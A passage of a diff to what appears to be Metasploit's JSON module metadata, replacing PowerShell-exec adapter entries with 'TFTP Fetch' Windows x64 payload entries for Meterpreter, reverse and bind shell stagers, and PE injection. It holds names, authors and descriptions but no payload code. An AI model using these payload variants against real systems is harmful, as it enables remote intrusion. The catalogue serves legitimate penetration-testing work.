newer.", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189608,21 +209770,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/reverse_tcp_rc4", + "ref_name": "cmd/windows/tftp/x64/meterpreter_reverse_http", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_http", + "staged": false }, - "payload_cmd/windows/powershell/x64/shell/reverse_tcp_uuid": { - "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp_uuid", + "payload_cmd/windows/tftp/x64/meterpreter_reverse_https": { + "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_https", "aliases": [ ], @@ -189630,13 +209796,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "OJ Reeves" + "Brendan Watters", + "OJ Reeves", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189644,21 +209811,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/reverse_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_https", + "staged": false }, - "payload_cmd/windows/powershell/x64/shell_bind_tcp": { - "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Inline", - "fullname": "payload/cmd/windows/powershell/x64/shell_bind_tcp", + "payload_cmd/windows/tftp/x64/meterpreter_reverse_ipv6_tcp": { + "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_ipv6_tcp", "aliases": [ ], @@ -189666,12 +209837,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "OJ Reeves", "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection and spawn a command shell (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189679,21 +209852,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell_bind_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter_reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_ipv6_tcp", + "staged": false }, - "payload_cmd/windows/powershell/x64/shell_reverse_tcp": { - "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Inline", - "fullname": "payload/cmd/windows/powershell/x64/shell_reverse_tcp", + "payload_cmd/windows/tftp/x64/meterpreter_reverse_tcp": { + "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_tcp", "aliases": [ ], @@ -189701,12 +209878,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "OJ Reeves", "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to attacker and spawn a command shell (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189714,21 +209893,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell_reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp", + "payload_cmd/windows/tftp/x64/peinject/bind_ipv6_tcp": { + "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_ipv6_tcp", "aliases": [ ], @@ -189736,13 +209919,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "ege ", "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for an IPv6 connection (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -189750,21 +209933,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp", + "ref_name": "cmd/windows/tftp/x64/peinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, - "payload_cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid", + "payload_cmd/windows/tftp/x64/peinject/bind_ipv6_tcp_uuid": { + "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -189772,14 +209961,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "ege ", "sf ", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -189787,21 +209976,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/peinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, - "payload_cmd/windows/powershell/x64/vncinject/bind_named_pipe": { - "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_named_pipe", + "payload_cmd/windows/tftp/x64/peinject/bind_named_pipe": { + "name": "TFTP Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_named_pipe", "aliases": [ ], @@ -189809,14 +210004,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", + "Brendan Watters", + "ege ", "UserExistsError" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a pipe connection (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -189824,21 +210018,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/bind_named_pipe", + "ref_name": "cmd/windows/tftp/x64/peinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_named_pipe" }, - "payload_cmd/windows/powershell/x64/vncinject/bind_tcp": { - "name": "Powershell Exec, Windows x64 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp", + "payload_cmd/windows/tftp/x64/peinject/bind_tcp": { + "name": "TFTP Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_tcp", "aliases": [ ], @@ -189846,13 +210046,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "ege ", "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a connection (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -189860,21 +210060,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/bind_tcp", + "ref_name": "cmd/windows/tftp/x64/peinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp" }, - "payload_cmd/windows/powershell/x64/vncinject/bind_tcp_rc4": { - "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp_rc4", + "payload_cmd/windows/tftp/x64/peinject/bind_tcp_rc4": { + "name": "TFTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_tcp_rc4", "aliases": [ ], @@ -189882,18 +210088,18 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", + "Brendan Watters", + "ege ", "hdm ", "skape ", + "sf ", "mihi", "max3raza", "RageLtMan" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -189901,21 +210107,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/bind_tcp_rc4", + "ref_name": "cmd/windows/tftp/x64/peinject/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, - "payload_cmd/windows/powershell/x64/vncinject/bind_tcp_uuid": { - "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp_uuid", + "payload_cmd/windows/tftp/x64/peinject/bind_tcp_uuid": { + "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_tcp_uuid", "aliases": [ ], @@ -189923,14 +210135,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "ege ", "sf ", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a connection with UUID Support (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -189938,21 +210150,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/bind_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/peinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, - "payload_cmd/windows/powershell/x64/vncinject/reverse_http": { - "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_http", + "payload_cmd/windows/tftp/x64/peinject/reverse_named_pipe": { + "name": "TFTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_named_pipe", "aliases": [ ], @@ -189960,14 +210178,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", + "Brendan Watters", + "ege ", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker via a named pipe pivot", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -189975,21 +210192,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_http", + "ref_name": "cmd/windows/tftp/x64/peinject/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_named_pipe" }, - "payload_cmd/windows/powershell/x64/vncinject/reverse_https": { - "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_https", + "payload_cmd/windows/tftp/x64/peinject/reverse_tcp": { + "name": "TFTP Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_tcp", "aliases": [ ], @@ -189997,16 +210220,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "hdm ", - "agix", - "rwincey" + "Brendan Watters", + "ege ", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -190014,21 +210234,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_https", + "ref_name": "cmd/windows/tftp/x64/peinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp" }, - "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp": { - "name": "Powershell Exec, Windows x64 Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp", + "payload_cmd/windows/tftp/x64/peinject/reverse_tcp_rc4": { + "name": "TFTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_tcp_rc4", "aliases": [ ], @@ -190036,13 +210262,18 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf " + "Brendan Watters", + "ege ", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -190050,21 +210281,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/peinject/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, - "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4", + "payload_cmd/windows/tftp/x64/peinject/reverse_tcp_uuid": { + "name": "TFTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_tcp_uuid", "aliases": [ ], @@ -190072,18 +210309,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "ege ", "sf ", - "hdm ", - "skape ", - "mihi", - "max3raza", - "RageLtMan" + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -190091,21 +210324,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4", + "ref_name": "cmd/windows/tftp/x64/peinject/reverse_tcp_uuid", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, - "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid": { - "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid", + "payload_cmd/windows/tftp/x64/pingback_reverse_tcp": { + "name": "TFTP Fetch, Windows x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/windows/tftp/x64/pingback_reverse_tcp", "aliases": [ ], @@ -190113,14 +210352,12 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "OJ Reeves" + "Brendan Watters", + "bwatters-r7" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to attacker and report UUID (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -190128,21 +210365,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/pingback_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell/x64/vncinject/reverse_winhttp": { - "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_winhttp", + "payload_cmd/windows/tftp/x64/powershell_bind_tcp": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/windows/tftp/x64/powershell_bind_tcp", "aliases": [ ], @@ -190150,14 +210391,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "OJ Reeves" + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "description": "Fetch and Execute an x64 payload from a tftp server", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -190165,21 +210406,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_winhttp", + "ref_name": "cmd/windows/tftp/x64/powershell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/powershell_bind_tcp", + "staged": false }, - "payload_cmd/windows/powershell/x64/vncinject/reverse_winhttps": { - "name": "Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_winhttps", + "payload_cmd/windows/tftp/x64/powershell_reverse_tcp": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/windows/tftp/x64/powershell_reverse_tcp", "aliases": [ ], @@ -190187,14 +210432,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "OJ Reeves" + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "description": "Fetch and Execute an x64 payload from a tftp server", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -190202,21 +210447,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_winhttps", + "ref_name": "cmd/windows/tftp/x64/powershell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": 